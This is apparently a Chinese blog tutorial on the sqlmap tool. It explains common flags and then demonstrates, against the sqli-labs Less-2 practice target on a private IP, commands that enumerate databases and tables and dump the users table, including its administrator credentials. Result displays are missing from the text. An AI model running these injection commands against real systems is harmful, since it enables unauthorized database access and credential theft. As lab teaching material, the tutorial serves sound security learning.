一、前言
sqlmap是一款非常好用的自动化的sql注入工具,本文演示中的目标是靶机的Less-2,使用kali自带的工具sqlmap进行注入。其中kali版本为2020.3。
本文只是简单的学习使用工具,若需要了解更多请点击前往sqlmap中文使用手册学习。
二、参数说明
在这里我将说明sqlmap使用过程中常用到的一些参数。
参数 | 作用 |
---|---|
-u | 指定目标URL |
–ignore-401 | 使用该参数忽略401错误(未认证) |
–delay | 定HTTP请求之间的延迟 |
–randomize | 随机生成每次HTTP请求中参数的值 |
–safe-url | 隔一会就访问一下的安全URL |
–csrf-token 和 –csrf-url | 绕过CSRF保护 |
-o | 一键优化 |
-p “id” | 测试注入点 |
–dbms | 指定数据库 |
–level | 用于指定检测级别,有1~5共5级 |
–risk | 指定风险等级,有1~4共4级 |
-dbs 和 -D | 查询所有数据库名 |
-tables 和 -T | 查询所有表名 |
–common-tables | 暴力破解表名 |
columns | 查询所有列名 |
–common-columns | 暴力破解列名 |
–all | 一键列举全部数据 |
-b | 列举数据库管理系统信息 |
–current-db | 列举当前数据库 |
–current-user | 列举当前用户 |
–passwords | 列举并破解数据库管理系统用户密码Hash值 |
–count | 统计数据数目 |
–dump | 列举表中数据 |
我所列举出来的参数仅是个人感觉有用的,标注出来的是最基础的。工具就在于懂得原理之后去使用!
三、注入演示
sql注入的步骤主要分为:找注入点->查库->查表->出数据。具体的sql注入请前往另一篇博客web安全-sql注入学习。接下来我们直接展示!
开始之前我们得需要明白我们的目标是啥!!!!我们的目标就是找到这个网站的管理员账户和密码!!
1、寻找注入点
简单的测试我们便知道目标网站的注入点是:id,通过get传参。
2、查库
Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1 -dbs
结果展示:
以上是所有数据库,那么怎么查询本站的数据库呢?
Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1 –current-db
结果展示:
到这里我们知道了数据库是‘security’。接下来我们就需要查看这个库中有哪些表呢?
3、查表
Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1 --count -D security
结果展示:
这里我采用了给这个数据库中的表统计数据,去除空表,可以看到users表肯定是我们想要的账号密码数据表。接下来我们就该让他出数据了。
4、出数据
Payload:root@kali:~# sqlmap -u http://172.16.45.115/sql/Less-2/?id=1 --dump -D security -T users
结果展示:
这里让它列出来了表中的所有数据,我们可以看到所有用户账号密码。自然也有管理员账户和密码,目标达成!
到这里我们的演示就结束了!
注:
以上演示的是get传参,若使用post传参则Payload有所不同,需要用抓包工具将请求包的数据放入txt文件读取注入,展示如下:
Payload:root@kali:~/桌面# sqlmap -r test.txt -dbs
结果展示: